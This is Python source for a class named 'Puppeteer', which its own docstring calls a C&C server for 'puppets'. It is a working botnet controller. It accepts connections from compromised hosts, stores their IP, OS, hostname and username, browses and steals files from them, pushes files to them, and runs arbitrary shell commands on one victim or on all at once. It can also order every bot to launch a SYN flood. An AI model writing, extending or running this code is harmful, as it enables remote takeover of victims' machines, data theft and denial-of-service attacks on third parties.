class Puppeteer: """ Class that represents the C&C server, which send commands to puppets and receives its responses Attributes: __database (Database): object to interact with database __listen_address (str): IP address of the listening interface __listen_port (int): port number for incoming puppet connections __socket (:obj: 'socket'): object with socket methods """ def __init__(self, listen_address, listen_port, database_path): """Args: listen_address (str): IP address of the listening interface listen_port (int): port number for puppet connections """ self.__database = Database(database_path) self.__listen_address = listen_address self.__listen_port = listen_port self.__socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.__socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self.__socket.bind((self.__listen_address, self.__listen_port)) self.__connected_puppets = [] _load_animation() def __str__(self): """ String representation of the Puppeteer object Returns: str: representation of the server with its listening address """ return f"C&C Puppeteer {self.__listen_address}:{self.__listen_port}" def start(self): """ Starts the thread for listening connections and shows the server control panel """ try: threading.Thread(target=self._listen_connections_thread).start() self._control_panel() except KeyboardInterrupt: self.exit() def _listen_connections_thread(self): """ The thread for listening and accepting incoming connections and adding puppets to the database """ while True: self.__socket.listen(32) client_socket, client_address = self.__socket.accept() puppet = Puppet(client_socket, client_address[0]) self._add_puppet_to_database(puppet) if puppet.id_hash not in self._get_connected_puppets_hashes(): self.__connected_puppets.append(puppet) print( to_green(f"\n[ + ] Got connection: " f"{puppet.ip_address}\n")) def _get_connected_puppets_hashes(self): """ Returns a list with the hashes of puppets connected to the server Returns: (:obj: 'list'): list of the hashes of connected puppets """ return [puppet.id_hash for puppet in self.__connected_puppets] def _add_puppet_to_database(self, new_puppet): """ Adds the puppet to the database if it is not yet, update its information otherwise Args: new_puppet (:obj: 'Puppet'): puppet to be added or updated on database """ if new_puppet.id_hash in self.__database.get_puppets_hashes(): self.__database.update_all_puppet_info(new_puppet) else: self.__database.add_puppet(new_puppet) def _control_panel(self): """ Shows a menu and starts communication based on the chosen option""" _main_menu() while True: command_number = input(to_yellow("[ COMMAND OPTION ] >> ")) if command_number == '0': self._list_connections() elif command_number == '1': self._interact_with_one() elif command_number == '2': self._interact_with_all() elif command_number == '3': sys.exit(0) elif command_number in ('help', '--help', 'h', '-h', '--h'): _main_menu() # else: # print(to_red("[ ! ] Invalid choice, use 'help'")) def _interact_with_one(self): """ Shows a menu to interact with a chosen puppet (if there is any puppet connected) """ if not self.__connected_puppets: print(to_red("\n[ - ] There is no puppet connected\n")) return puppet = self._choose_puppet_from_list() while True: _interaction_menu() try: command_number = input(to_yellow("[ UNICAST ] >> ")) if command_number == '0': self.__database.update_puppet_status(puppet, new_status=0) puppet.disconnect() self.__connected_puppets.remove(puppet) return elif command_number == '1': puppet.list_files() elif command_number == '2': puppet.send_file() elif command_number == '3': puppet.receive_file() elif command_number == '4': command = input(to_yellow("[ SHELL COMMAND ] Command: ")) puppet.run_command(command) elif command_number == '5': puppet.syn_flood() elif command_number == '9': return elif command_number in ('help', '--help', 'h', '-h', '--h'): _interaction_menu() else: print(to_red("[ ! ] Invalid choice, use 'help'")) except socket.error as error: self.__database.update_puppet_status(puppet, new_status=0) self.__connected_puppets.remove(puppet) print(to_red(f"\n[{puppet.ip_address}] {error}\n")) return def _interact_with_all(self): """ Show a menu to interact with all puppets (if there is any puppet connected) """ if len(self.__connected_puppets) == 0: print(to_red("\n[ - ] There is no puppet connected\n")) return while True: _interaction_menu() try: command_number = input(to_yellow("[ BROADCAST ] >> ")) if command_number == '0': self._disconnect_all_puppets() return elif command_number == '1': self._list_files_for_all() elif command_number == '2': self._download_from_all() elif command_number == '3': self._upload_to_all() elif command_number == '4': command = input(to_yellow("[ SHELL COMMAND ] Command: ")) for puppet in self.__connected_puppets: puppet.run_command(command) elif command_number == '5': for puppet in self.__connected_puppets: puppet.syn_flood() elif command_number == '9': return elif command_number in ('help', '--help', 'h', '-h', '--h'): _interaction_menu() else: print(to_red("\n[ ! ] Invalid choice, use 'help'\n")) except socket.error as error: print(to_red(f"\n[ - ] {error}\n")) def _list_connections(self): """ Lists the connected puppets """ if self.__connected_puppets: print( to_green(f"{'ACTIVE CONNECTIONS'.center(67,'=')}\n\n" f"{'ID':^6}{'IP ADDRESS':^15}" f"{'OS':^10}{'ARCH':^8}" f"{'HOST':^12}{'USER':^12}\n")) for _, puppet in enumerate(self.__connected_puppets): print(f"{_:^6}{puppet.ip_address:^15}{puppet.op_system:^10}" f"{puppet.architecture:^12}{puppet.hostname:^12}" f"{puppet.username:^12}") print() else: print(to_red("\n[ - ] There is no puppet connected\n")) def _disconnect_all_puppets(self): for puppet in self.__connected_puppets: try: puppet.disconnect() except socket.error as error: print(to_red(f"\n[{puppet.ip_address}] {error}\n")) else: self.__database.update_puppet_status(puppet, new_status=0) self.__connected_puppets.clear() def _choose_puppet_from_list(self): """ Choose a puppet based on it index on the list of connected puppets Returns: :obj: 'Puppet': chosen puppet """ self._list_connections() while True: try: puppet_id = int(input(to_yellow("[ INTERACT ] Puppet ID: "))) return self.__connected_puppets[puppet_id] except (ValueError, IndexError): print(to_red("\n[ ! ] Invalid choice\n")) continue def _list_files_for_all(self): """ Lists the files of specified path on all connected puppets """ individual_percentage = 100 / len(self.__connected_puppets) total_success_percentage = 0 directory = input(to_yellow("[ LIST FILES ] Path: ")) for puppet in self.__connected_puppets: try: puppet.socket_fd.send(bytes("list files", 'utf-8')) puppet.socket_fd.send(bytes(directory, 'utf-8')) output = puppet.socket_fd.recv(MAX_COMMAND_OUTPUT_SIZE) output = output.decode('utf-8') total_success_percentage += individual_percentage print( to_green(f"\n[ {total_success_percentage:.1f}% ]" + f"[ Output for {puppet.ip_address}:" f"{directory} ]")) print(f"{output}") except socket.error as error: self.__database.update_puppet_status(puppet, new_status=0) self.__connected_puppets.remove(puppet) print(to_red(f"[ {puppet.ip_address} ] {error}\n")) continue print(to_green(f"[ Success: {total_success_percentage:.1f}% ] ")) def _download_from_all(self): """ Downloads specified file from de puppets and saves to a specified output path """ remote_file_path = input(to_yellow("[ DOWNLOAD ] Path to file: ")) local_filename = input(to_yellow("[ DOWNLOAD ] Save as: ")) if os.path.exists(local_filename): print(to_red("\n[ ! ] Invalid output path\n")) return if remote_file_path in ("", ) or remote_file_path in ("", ): return individual_percentage = 100 / len(self.__connected_puppets) total_success_percentage = 0 for puppet in self.__connected_puppets: output_file_name = f'{puppet.ip_address}' + local_filename if os.path.exists(output_file_name): print(to_red(f"\n[ ! ] File exists: {output_file_name}\n")) return puppet.socket_fd.send(bytes("upload", 'utf-8')) puppet.socket_fd.send(bytes(remote_file_path, 'utf-8')) file_size = puppet.socket_fd.recv(256) file_size = int.from_bytes(file_size, "little") file_data = puppet.recv_all(file_size) try: with open(output_file_name, "wb") as file: file.write(file_data) file.close() total_success_percentage += individual_percentage print( to_green(f"\n[ {total_success_percentage:.1f}% ] " f"{output_file_name} downloaded from " f"{puppet.ip_address}\n")) except socket.error as error: self.__database.update_puppet_status(puppet, new_status=0) self.__connected_puppets.remove(puppet) print(to_red(f"[ {puppet.ip_address} ] {error}")) return except Exception as error: print(to_red(f"\n[ ! ] Can't write to file: {error}\n")) print(to_green(f"[ Success: {total_success_percentage:.1f}% ] ")) def _upload_to_all(self): """ Uploads a specified file to all puppets at a specified path """ source_path = input(to_yellow("[ UPLOAD ] Source path: ")) destination_path = input(to_yellow("[ UPLOAD ] Destination path: ")) if source_path == "" or destination_path == "": return if not os.path.exists(source_path): print(to_red(f"\n[ ! ] File doesn't exists: {source_path}\n")) return individual_percentage = 100 / len(self.__connected_puppets) total_success_percentage = 0 file_size = os.path.getsize(source_path) file_size = struct.pack(">I", socket.htonl(file_size)) for puppet in self.__connected_puppets: try: with open(source_path, "rb") as file: puppet.socket_fd.send(bytes("download", 'utf-8')) puppet.socket_fd.send(file_size) len_filename = len(destination_path) len_filename = struct.pack(">I", socket.htonl(len_filename)) puppet.socket_fd.send(len_filename) puppet.socket_fd.send(bytes(destination_path, 'utf-8')) file_data = file.read() puppet.socket_fd.sendall(file_data) file.close() total_success_percentage += individual_percentage print( to_green( f"\n[ {total_success_percentage:.1f}% ] " f"{source_path} uploaded to {puppet.ip_address}")) except socket.error as error: self.__database.update_puppet_status(puppet, new_status=0) self.__connected_puppets.remove(puppet) print(to_red(f"\n[ {puppet.ip_address} ] {error}\n")) return print(to_green(f"[ Success: {total_success_percentage:.1f}% ]")) def exit(self): """ Clear connections list, sets the puppets status to 0 on database then exits the program with exit code 0 """ self.__database.disconnect_puppets_on_exit() self.__connected_puppets.clear() sys.exit(0)